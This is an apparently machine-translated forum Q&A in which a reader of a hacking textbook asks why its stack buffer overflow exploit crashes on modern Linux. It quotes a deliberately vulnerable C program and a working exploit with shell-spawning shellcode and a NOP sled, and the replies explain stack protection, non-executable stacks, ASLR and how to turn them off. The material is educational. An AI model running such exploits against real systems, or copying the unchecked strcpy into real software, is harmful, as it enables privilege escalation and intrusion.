2017-06-16 35 views
0

我一直在閱讀Jon Erickson的書「Hacking:The Art of Exploitation,2nd Edition」。Linux中32位x86緩衝區溢出查詢

,我需要關於其具有緩衝區溢出漏洞和利用程序exploit_notesearch.c

爲notesearch.c的代碼的程序notesearch.c一些澄清低於:

#include <stdio.h> 
#include <string.h> 
#include <fcntl.h> 
#include <sys/stat.h> 
#include "hacking.h" 

#define FILENAME "/var/notes" 

int print_notes(int, int, char *); // Note printing function. 
int find_user_note(int, int); // Seek in file for a note for user. 
int search_note(char *, char *); // Search for keyword function. 
void fatal(char *); // Fatal error handler 

int main(int argc, char *argv[]) { 
    int userid, printing=1, fd; // File descriptor 
    char searchstring[100]; 

    if(argc > 1) // If there is an arg, 
     strcpy(searchstring, argv[1]); // that is the search string; 
    else // otherwise, 
     searchstring[0] = 0; // search string is empty. 

    userid = getuid(); 
    fd = open(FILENAME, O_RDONLY); // Open the file for read-only access. 
    if(fd == -1) 
     fatal("in main() while opening file for reading"); 

    while(printing) 
     printing = print_notes(fd, userid, searchstring); 
    printf("-------[ end of note data ]-------\n"); 
    close(fd); 
} 

// A function to print the notes for a given uid that match 
// an optional search string; 
// returns 0 at end of file, 1 if there are still more notes. 
int print_notes(int fd, int uid, char *searchstring) { 
    int note_length; 
    char byte=0, note_buffer[100]; 

    note_length = find_user_note(fd, uid); 
    if(note_length == -1) // If end of file reached, 
     return 0; // return 0. 

    read(fd, note_buffer, note_length); // Read note data. 
    note_buffer[note_length] = 0; // Terminate the string. 

    if(search_note(note_buffer, searchstring)) // If searchstring found, 
     printf(note_buffer); // print the note. 
    return 1; 
} 

// A function to find the next note for a given userID; 
// returns -1 if the end of the file is reached; 
// otherwise, it returns the length of the found note. 
int find_user_note(int fd, int user_uid) { 
    int note_uid=-1; 
    unsigned char byte; 
    int length; 

    while(note_uid != user_uid) {//Loop until a note for user_uid is found. 
     if(read(fd, &note_uid, 4) != 4) // Read the uid data. 
      return -1; // If 4 bytes aren't read, return end of file code. 
     if(read(fd, &byte, 1) != 1) // Read the newline separator. 
      return -1; 

     byte = length = 0; 
     while(byte != '\n') { 
      if(read(fd, &byte, 1) != 1) // Read a single byte. 
       return -1; // If byte isn't read, return end of file code. 
      length++; 
     } 
    } 
    lseek(fd, length * -1, SEEK_CUR); 

    printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid); 
    return length; 
} 

// A function to search a note for a given keyword; 
// returns 1 if a match is found, 0 if there is no match. 
int search_note(char *note, char *keyword) { 
    int i, keyword_length, match=0; 

    keyword_length = strlen(keyword); 
    if(keyword_length == 0) // If there is no search string, 
     return 1; // always "match". 

    for(i=0; i < strlen(note); i++) { // Iterate over bytes in note. 
     if(note[i] == keyword[match]) // If byte matches keyword, 
      match++; // get ready to check the next byte; 
     else { // otherwise, 
      if(note[i] == keyword[0]) // if that byte matches first keyword byte, 
       match = 1; // start the match count at 1. 
      else 
       match = 0; // Otherwise it is zero. 
     } 
     if(match == keyword_length) // If there is a full match, 
      return 1; // return matched. 
    } 
    return 0; // Return not matched. 
} 

exploit_notesearch.c的代碼如下:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
char shellcode[]= 
    "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" 
    "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" 
    "\xe1\xcd\x80"; 

int main(int argc, char *argv[]) { 
    unsigned int i, *ptr, ret, offset=270; 
    char *command, *buffer; 
    command = (char *) malloc(200); 
    bzero(command, 200); // Zero out the new memory. 
    strcpy(command, "./notesearch \'"); // Start command buffer. 
    buffer = command + strlen(command); // Set buffer at the end. 
    if(argc > 1) // Set offset. 
     offset = atoi(argv[1]); 
    ret = (unsigned int) &i - offset; // Set return address. 
    for(i=0; i < 160; i+=4) // Fill buffer with return address. 
     *((unsigned int *)(buffer+i)) = ret; 
    memset(buffer, 0x90, 60); // Build NOP sled. 
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 
    strcat(command, "\'"); 
    system(command); // Run exploit. 
    free(command); 
} 

現在我已經下了當由exploit_notesearch.c可執行文件中的系統函數運行時,第一個參數傳遞給notesearch.c的可執行文件的第一個參數最終會覆蓋存儲在notesearch.c的main堆棧幀中的返回地址,其中包含數組元素的地址與NOP指令,但這裏是我的查詢,當堆棧的主要彈出和返回地址是填充回來的eip和eip指令將執行操作系統將看到eip不再指向一個地址是在邊界文本段(存儲在eip中的地址是包含NOP指令的元素的地址,並且不在文本段的邊界內),並退出給出分段錯誤。那麼這是否意味着無論內存分割和保護如何,這些類型的緩衝區溢出都會變得無用?

我不明白的是我自己在運行Linux(Linux Mint 17)並在Intel x86處理器上安裝了32位機器。但是當我編譯notesearch.c和exploit_notesearch.c並按照Jon書中提到的方式運行它時,我總會遇到分段錯誤。

另外,我想借此機會感謝Jon撰寫了一本優秀的書籍,該書籍清楚了我的概念,即將可執行文件加載到內存中並開始執行時會發生什麼。

感謝,

羅希特

+0

並糾正你的措辭 - 程序不知道你正試圖執行文本段以外的內存 - 內核知道你試圖在不可執行的頁面上執行,導致頁面錯誤,然後在userland中使用SIGSEGV – adam

回答

0

是的,這很可能是這種情況,你可能有默認情況下,GCC編譯時的堆棧保護。

現代Linux系統通常包括併產生不具有可執行堆棧,包含堆疊金絲雀,並且可以在重新排序存儲在棧上的變量,特別是陣列產生的可執行文件。您可以嘗試使用-fno-stack-protector作爲gcc的標誌進行編譯。根據你的內核,你可能也需要paxctl(但你可能沒有運行PaX內核)

簡而言之,沒有,堆棧溢出在Linux上沒有用處,但通常它們是最不可取的錯誤類,這與過去的情況相反。

假設在特定情況下甚至有可能利用堆棧溢出,現在最好的機會是使用它進行部分/目標覆蓋以創建一個「原始」(即任意相對讀或寫)比簡單的線性數據損壞更強大。儘管你可能沒有這個選項。這個想法通過覆蓋其他堆棧變量來破壞應用程序特定的狀態/邏輯,而不是簡單地覆蓋保存的CPU寄存器。這是通過變量亂序在某些情況下減輕不過,因爲上文提到的高風險類型,如陣列將被放置在堆在那裏他們將溢出到金絲雀而不是其他局部變量的頂部。

嘗試在編譯時禁用堆棧保護,或者如果要執行此練習,請考慮使用舊VM。紅帽6.2是一個不錯的簡單目標。

由於glibc添加到malloc/free的基本動機,您將遇到利用現代系統堆溢出的問題。做教科書unlink()風格重寫可能會導致SIGABRT,因爲glibc會在取消鏈接塊之前識別損壞。

也許不是在這種情況下(我沒有仔細閱讀整件事情),但你也可以與ASLR抗衡。這是一個內核功能,可以通過/ proc- Google中的一個設置禁用,以「禁用ASLR Linux」